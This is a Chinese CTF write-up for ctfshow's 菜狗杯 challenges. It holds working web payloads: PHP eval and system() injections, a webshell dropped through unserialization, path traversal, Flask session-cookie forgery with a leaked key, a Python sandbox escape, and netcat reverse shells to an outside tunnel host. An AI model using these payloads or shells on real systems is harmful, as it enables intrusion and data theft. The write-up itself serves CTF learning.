ctfshow 菜狗杯wp

2023-10-29

果然菜狗杯是教育我们是菜狗的,我是从第二天开始做的,这里只做了一个上午,因为下午网没了,做不了,做出来的有点少。。。社工也做出来挺多但是感觉社工的wp感觉就没有啥必要写了

目录

misc

签到题

损坏的压缩包

web

web签到

web2 c0me_t0_s1gn

我的眼里只有$

抽老婆

一言既出

驷马难追

TapTapTap

Webshell

化零为整

无一幸免

无一幸免_FIXED

传说之下(雾)

算力超群(后面补的)

算力升级 (后面补的)

easyPytHon_P

遍地飘零

茶歇区 

小舔田?

         LSB探姬(后面补的)

Is_Not_Obfuscate

CRYPTO

密码签到

Caesar

0x36d

@bash

OSINT

J某的过往1 ​编辑


misc

签到题

直接放到winhex中,搜索ctf直接得到flag

损坏的压缩包

这个直接分离就可以,给你一个图片,上面就是flag

web

web签到

就说忘记了啥,这个忘记补了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

这个是代码,这里题目要注意,他正常是无法正常接受中文的,我们要对他进行url编码才能使用,群=%E7%BE%A4,这个其实有的像套娃的。

我们cookie传CTFshow-QQ%E7%BE%A4:=a这时候就可以看做。

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

这时候post传a=b,这时候就是

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

像这样一个一个传最后通过下标传入。

payload: GET传:?b=d&d[6][0][7][5][8][0][9][4][4]=system('cat /f*');
         POST传:a=b
         cookie传:CTFshow-QQ%E7%BE%A4:=a


 

web2 c0me_t0_s1gn

f12打开控制台

 这里已经提示了,我们输入这个方法

这里得到了一半flag

然后跟踪过去看到了另一半flag

 好了解决了


我的眼里只有$

<?php

error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

 extract的作用相当于是,你传入a=2,则$a=2。

我原本的思路是绕过这么多$,执行别的语句,列如


这个在本地尝试是可以执行的,但是传入_=a||system("dir")却是不行。。

所以就使用正常方法吧

传入_=a&a=b&...............e=eval($_GET[1]);这样往下一直到36个,因为$有36个
可以使用python自带的len函数获取长度

 不过这种推荐写脚本不建议手搞,容易乱还慢

python脚本

a = ""
b = "_"
for i in range(36):
    i = i+1
    a += b*i+"="+b*(i+1)+"&"
    if i == 36:
        a = a+b*i+"=eval($_GET[1]);"
print(a)

php脚本 这个是官方wp的

<?php

$str="_=__";
$res="";
echo "_=__&";
for ($i=0; $i < 34; $i++) {
    $str="_".$str."_";
    echo $str."&";
    if ($i==33) {
        echo explode("=", $str)[1]."=eval(\$_GET[1]);";
    }
}

抽老婆

这个有一些flask框架的应该都能做出来

这里有下载我们要注意

f12这里我们可以知道他是使用file这个参数下载的,我们可以修改一下看看是否存在一些漏洞

/download?file=/../../../../etc/passwd

这里发现存在任意下载漏洞的

再进一步我们尝试下载flag看看

这里应该是进行了过滤

这里我们让他报错一下,看到这里感觉应该是flask框架,所以我们去下载app.py,这个应该是他主要的源码,通常app.py都是在app目录下的,我们往前进两个目录就可以了

/download?file=../../app.py
# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})

这里我们知道可以访问/secret_path_U_never_know,然后令isadmin为true就可以了

不过从getwifi()方法我们可以知道isadmin被定义为false,这里我们看一下就知道了

 然后分析cookie

这里估计是进行了加密,感觉是base64,尝试解密一下看看

flask_session_cookie的加密脚本,他上面也给了key

下面这个方法不是我那时候做出来的方法,但是感觉更正确一些,就写这一个方法了。

这里伪造cookie

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

python flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
cookie: session=eyJpc2FkbWluIjp0cnVlfQ.Y3GCCA.kFkoRct0cSapLc4RbeUuEybgZ_M

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

这里我们分析一下代码,通过num传入一串数字,首先要等于114514,之后经过intval函数以后要等于1919810

因为是弱等于我们可以有操作空间

这里我们使用114514+1805296,不过我们要使用url编码一下

?num=114514%2b1805296  //这个是我自己使用的
?num=114514);(19199810
不过看了出题人的wp.....
?num=114514)==1%20or%20system(%27ls%27);%23  这样也行..属实是没想到

这里我们主要用的是弱等于匹配字符就不匹配了,就匹配字符前面的数字,但是intval是全部在里面,他会进行运算的。


驷马难追

这个和上面就加了一个过滤


function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

使用?num=114514%2b1805296 就可以了

没想到自己想出来的这一个方法把两个都做了,正好是两个都可以的方法。


TapTapTap

 感觉就是让你打点

开始打点的时候f12控制台这里出现了这些,我们跟踪一下

往下看发现了可疑的字符串

解密知道了flag的位置,访问得到flag


Webshell

就是一个简单的序列化

 <?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?> 

 这里我们要注意的是shell_exec是没有回显的,那时候我看他进行了赋值还输出了,以为可以看到回显的,可是没有。

这里我们写一马进去看看

<?php
class Webshell{
	public $cmd = 'echo "<?php eval(\$_POST[1]);?>" > 1.php';
}
echo serialize(new Webshell());

注意这里的木马是要加一个\的,因为我要对哪里进行转义,要不然写不了马,这里演示一下

这里是没有进行转义的马,他的里面是空的

这是转义的马,才是可以使用的木马

这里我们传进去

?cmd=O:8:"Webshell":1:{s:3:"cmd";s:40:"echo "<?php eval(\$_POST[1]);?>" > 1.php";}

这里访问的是出现错误的没关系的

直接用蚁剑连接

flag就在这里


化零为整

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

这里我们分析一下,他这里是进行了一个判断长度的,我们一次只能传一个

我原本使用的是

?1=大&2=牛

这里显示我们  太长了!!

我就进行了一次url加密得到 %E5%A4%A7%E7%89%9B ,忘记了中文url编码后有很多字符

这里我们传url编码后的东西,不用拆的太短,%E5这种就代表一个字符了

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

这样就可以了


无一幸免

这里不知道是不是出题人的问题,只要传东西了,都直接给flag了

?0=


无一幸免_FIXED

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        die($flag);
    }
}
?> 

这里讲解一下,我们通过参数0传入东西,会被当做数组的索引,然后赋值为1,通过判断,我尝试使用字符或者字母,但是发现都没有用,这里猜测,是被当成ascii码了,这样子看似是永远都是真的判断,字母获得flag呢。

这里我们整理一下,字符和字符没有用,那么剩下的数字,还有什么,相信很多人都会想到整数溢出。

这个也是关于整数溢出的,没有看懂可以看下面茶歇区

这里也是要注意int64的取值范围int64 : -9223372036854775808 to 9223372036854775807

首先我们是通过get方式使用参数0传值

传入的值必须在这个范围内,这里用代码说明一下

<?php
$a = 9223372036854775807;
$b = 9223372036854775808;
echo $a;
echo "\n";
echo $b;

你会发现这里仅仅只是大了一个1而已,但是他们的输出已经是不一样了,这里我们要知道一个知识点隐式转换,什么是隐式转换,就是当就是当我们赋值的这个数超过它本身这个类型的范围,就会自动变成范围更大的类型,这里就是由整数型变成了浮点型。

//回显
9223372036854775807
9.2233720368548E+18

当然这里是说明一下,和题目也是有一丁点关系吧。

我们使用的是9223372036854775807,这里经过判断的时候,我们看看他是怎么输出的。

<?php

$a[0]=1;
echo $a[]=1;

$b[9223372036854775807]=1;
echo $b[]=1;
//回显
1

...报错...

//既然是报错,可能等于1呢

 所以payload:?0=9223372036854775807   //果然回显也是有报错的


传说之下(雾)

 贪吃蛇,通常这种都和分数是有关系的。

开了一把,用f12拦包没有什么东西,就直接去看看js文件了

这里我们看game.js

直接搜score,就分数

找到和分数相关的了,看看他是那个方法的

Underophidian,我们去搜一下

他在这里被调用了,所以我们直接使用Game就可以了。

这里我们要让游戏开始在搞,然后让蛇在吃到一个苹果就可以了

js不怎么会,反正我思路是这样的,哈哈


算力超群(后面补的)

 拦包发现三个参数,感觉主要应该是number1和number2这两个参数

随便修改一下number2看一下

直接保存,然后我们发现应该是flask的框架,进一步推测我们可以使用一下python的东西,来进行命令执行之类的使用。

修改一下number1发现返回了Error,猜测number1是有过滤的,number2是没有过滤的,尝试直接传入命令进行执行

 

这里先使用的是__import__('os').system("dir");这个相当于

__import__('os').system("dir") //发现并没有执行好像

只回显了 这个,猜测是像exec函数那样执行了但是没有回显

 

这种我们就使用对付exec函数的方法对付他,这里我们使用花生壳创建一个公网

对应主机8085端口

然后这里先监听端口

这里传入

__import__('os').system("nc 597594c76g.goho.co 59019 -e /bin/sh")

 


算力升级 (后面补的)

这个是参考yu22x师傅,这个师傅很厉害的。
这里我之前有点思路,但是到拼接哪里有点断了,来师傅这里考考经。

先进去随便试试,看到旁边有点源码直接进去看看了。
这里发现他是可以传输字母的,但是必须是gmpy2库中的

    code=request.form.get('code')
    for item in pattern.findall(code):#从code里把单词拿出来
        if not re.match(r'\d+$',item):#如果不是数字
            if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
               return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
    try:
        result=eval(code)

 我们去gmpy2库中看看

__builtins__应该是有eval的,看一下

用脚本查一下

我们看到是有eval的

但是到这里有点断了,没有想到用拼接,还是参考的yu22x师傅的

这里是利用gmpy2模块的函数进行拼接

例如这样

yu22x师傅是使用

gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')
gmpy2.__builtins__['eval'](eval(request.args["1"]))
然后用get的方式用1传输__import__('os').popen('ls').read()

官方的wp是使用

gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")
gmpy2.__builtins__['eval'](__import__('os').popen('cat /flag').read())

感觉确实官方的麻烦一点,但是官方提供了一个脚本可以供大家参考

s="__import__('os').popen('cat /flag').read()"

import gmpy2

payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("

for i in s:
        if i not in "/'(). ":
                temp_index=0
                temp_string='x'*20
                for j in dir(gmpy2):
                        if j.find(i)>=0:
                                if len(j)<len(temp_string):
                                        temp_string=j
                                        temp_index=j.find(i)
                payload+=f'\'{temp_string}\'[{temp_index}]+'
        else:
                payload+=f'\"{i}\"+'

payload=payload[:-1]+')'

print(payload)

这里我们使用的是 yu22x师傅的方法,注意传输的时候尽量不要使用burpsuite,因为它的+代表空格。

不过这里我还是喜欢用反弹shell,花生壳创建一个公网

然后我们 传输

POST: code=gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')
GET: /tiesuanzi?1=__import__('os').system('nc 597594c76g.goho.co 59019 -e /bin/sh')
当然这里不喜欢反弹shell,也可以直接使用__import__('os').popen('cat /flag').read()

 


easyPytHon_P

有点后悔为什么没有看这一题,挺简单的没有做

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

 这里主要的地方就是

 tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

因为subprocess模块我没有接触过去查了一下

 这样子,详细大家就比较清楚了,这里可控的参数有cmd和param

注意这里request.form.get,虽然显示是get,但是它并不是get方式传输,是用post传输的

cmd=ls&param=/    //发现根目录中并没有flag
cmd=ls&param=.    //查看当前目录发现了flag.txt
cmd=cat&param=flag.txt  //得到flag

遍地飘零

 <?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

没有零,仔细看看输入有什么问题吧array(0) { } 

确实是简单的变量覆盖

这里我们可以自己搭一个环境看一下

 

我们这里发现$_GET只是输出一个数组,但是我们可以简单的想一想,$_GET也有变量符号呀,我们为什么不能吧$_GET当一个变量呢,而不是一种传输的手段。

这里我们本地环境在测试一下。

 好了这里输出flag了,题目环境也是可以的

?_GET=flag

茶歇区 

这个说实在,我到现在一直还是有一些懵

首先关于整数溢出的漏洞我们要知道这些

uint8: 0 to 255
uint16 : 0 to 65535
uint32 : 0 to 4294967295
uint64 : 0 to 18446744073709551615
int8: -128 to 127
int16 : -32768 to 32767
int32 : -2147483648 to 2147483647
int64 : -9223372036854775808 to 9223372036854775807

 通常我们接触的都是int64,这次应该也是因为这里显示就是int64最大值

 为什么有些表示我输入已经大于9223372036854775807,很多了呀,为什么还是0,这种整数溢出的题目,我接触的其实是比较少的,反正我的理解就是数这个位数的,就是19位的数字,不能太大了,这时候有人问了,我输了19位的比他大为什么还是不行,因为他是*10的我们输入一个18位数就可以了,例如932337203685477580、942337203685477582都可以,记住要输两次就可以了

其他可能是因为,*1导致溢出不了

那个*3也是可以的,只要*3之后大于9223372036854775807就可以了,列如3333333333333333333 都可以

注意:都要输两次


小舔田?

很简单的pop链,甚至所有东西都帮你触发好了。。。

 <?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}


以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人

我们先看头,是以get方式通过code传入,再看尾在Ion_Fan_Princess类中,call方法中,我只要修改nickname为小甜甜就可以了,然后找一找,call需要下面toString方法触发,然后看看那里可以触发toString,我们发现Moon类中可以触发,然后Moon类中的方法,使用unserialize就可以触发。。。

真的只要稍微改一下东西就可以了,真的感觉出题人好辛苦

<?php
class Moon{
    public $name="月亮";
  	public function __construct(){
		$this -> name = new Ion_Fan_Princess();
	}
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo "1";
        }else{
			echo "2";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}
$a = new Moon();
echo serialize($a);

 ?code=O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}


 
 

LSB探姬(后面补的)

这里我们先看源码,主要的地方在这里

f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)

他是会运行这个命令的随便传一个拦一下包看一下

这里是执行了ls,我们直接cat flag


Is_Not_Obfuscate

真的是慢慢补,又忘记了写了。。。

这里我们进来就看到这个,但是经过尝试使用数字字母之类,都没有用,这里看看源代码。

这里提示让我们提交一个串加密的代码,然后这里我们看到了,两个文件lib.php和robots.txt。
这里访问lib.php但是没有成功,但是访问robots.txt,我们发现了。

这里访问/lib.php?flag=0,但是得到一片空白,但是0是什么,经常做题的,肯定会想到false,这里我们使用1,1其实也是代表true,访问/lib.php?flag=1,得到一串代码。

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT 

 这里我们得到这样一串加密后的东西,但是不知道是什么,看似是有一些像base64的,但是这里想起来上面他们是可以通过input传入一串加密的字符串的,在主页面拦包或者使用hackber的时候,就会发现他有三个参数,action、input、output,这里我们通过input传进去发现没有东西,修改其他参数的时候,反弹回来了hacker。

这时候就有一些懵逼了,之后去查看了官方的wp,额,action要设置成test,这个怎么说,真的就靠猜吗。。。。

然后我们得到了源代码。

header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

这里我们分析一下

主要是看下嘛,因为他是有可以执行恶意代码的地方的,通过观察这里当action为push的时候这里会将传入的东西进行加密,然后写入一个文件,文件就是加密名。

加密就是例如这样我们要执行system("ls"); 然后加密就是这样解密的

echo md5('system("ls");'.'youyou');

然后为pull的时候就会解密里面的内容然后执行恶意代码,获得flag。

 通过不懈的努力,我最终选择了写脚本。。。因为手搞有点乱了。。。

import requests
import hashlib
import re


def getflag(comant):
    payload = f"system('{comant}');"
    payload_sale = hashlib.md5((payload + "youyou").encode()).hexdigest()

    s = requests.session()
    url = "http://c08ff946-dc88-458f-8889-5cd70375829c.challenge.ctf.show/"
    # 这里要替换成自己的网址
    url2 = url + f'?action=push&output={payload}'
    url1 = url + f"?action=pull&input={payload_sale}"

    s.get(url=url2)
    a = s.get(url=url1).text
    b = (re.findall('\w.*?pull', a, re.S)[0]).replace('pull', '')
    print(b)


if __name__ == "__main__":
    while (1):
        a = input("请输入你要执行的命令:")
        getflag(a)

 

OK,获得了flag


CRYPTO

感觉密码学前三题白送的

密码签到

唯一会做的签到题,这才是签到题呀,直接16进制转文本

Caesar

这个名字就是提示了呀,名字都是凯撒了。。


 
 

0x36d

一看就知道是那种表情包解密,然后表情包解密,他这里提示标题就是密码

但是解密失败,但是0x36d是16进制呀

使用877解密成功


@bash

感觉和buu一题还是攻防世界的一题挺像的,我们直接埃特巴什码解密

这里小写提交不了的,用python转成大写


OSINT

 社工就讲一题吧,这个有jk看嘿嘿

J某的过往1 

像这种图就别想着用百度识图之类的了,不过这里提示已经很多了

半次元是一个网站,可以搜到的

 这个找不到我们搜索,天竹子

往下翻

有了

看看评论

哦了

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfshow 菜狗杯wp 的相关文章

  • JavaScript 相当于 Python 的参数化 string.format() 函数

    这是 Python 示例 gt gt gt Coordinates latitude longitude format latitude 37 24N longitude 115 81W Coordinates 37 24N 115 81W
  • 为什么我的代码不能根据字典解码加密字符串?

    我有一本字典 其中包含代表字母的键和值 例如一个简单的 DICT CODE b g n a p o x d t y 我收到了一个加密代码 并将该字符串转换为一个列表 其中每个项目都是一个单词 我需要根据字典中的项目来解决它 代码示例是 wo
  • TF map_fn 或 while_loop 用于不同形状的张量列表

    我想处理不同形状的张量序列 列表 并输出另一个张量列表 考虑每个时间戳上具有不同隐藏状态大小的 RNN 就像是 输入 tf ones 1 2 2 tf ones 2 2 3 tf ones 3 2 1 输出 tf zeros 1 2 4 t
  • 如何在 PyCharm 4.5.2 中使用 PyPy 作为标准/默认解释器?

    如何在 PyCharm 4 5 2 中使用 PyPy 作为标准 默认解释器 一切都在 Ubunutu 14 10 下运行 并且 pypy 已经安装 您可以在项目的设置下进行配置 这个官方文档直接涵盖了 https www jetbrains
  • 了解 Python 中的酸洗

    我最近接到一项作业 需要以腌制形式放置一本字典 其中每个键引用一个列表 唯一的问题是我不知道腌制形式是什么 谁能给我指出一些好的资源的正确方向来帮助我学习这个概念 pickle 模块实现了一个基本但强大的算法 用于序列化和反序列化 Pyth
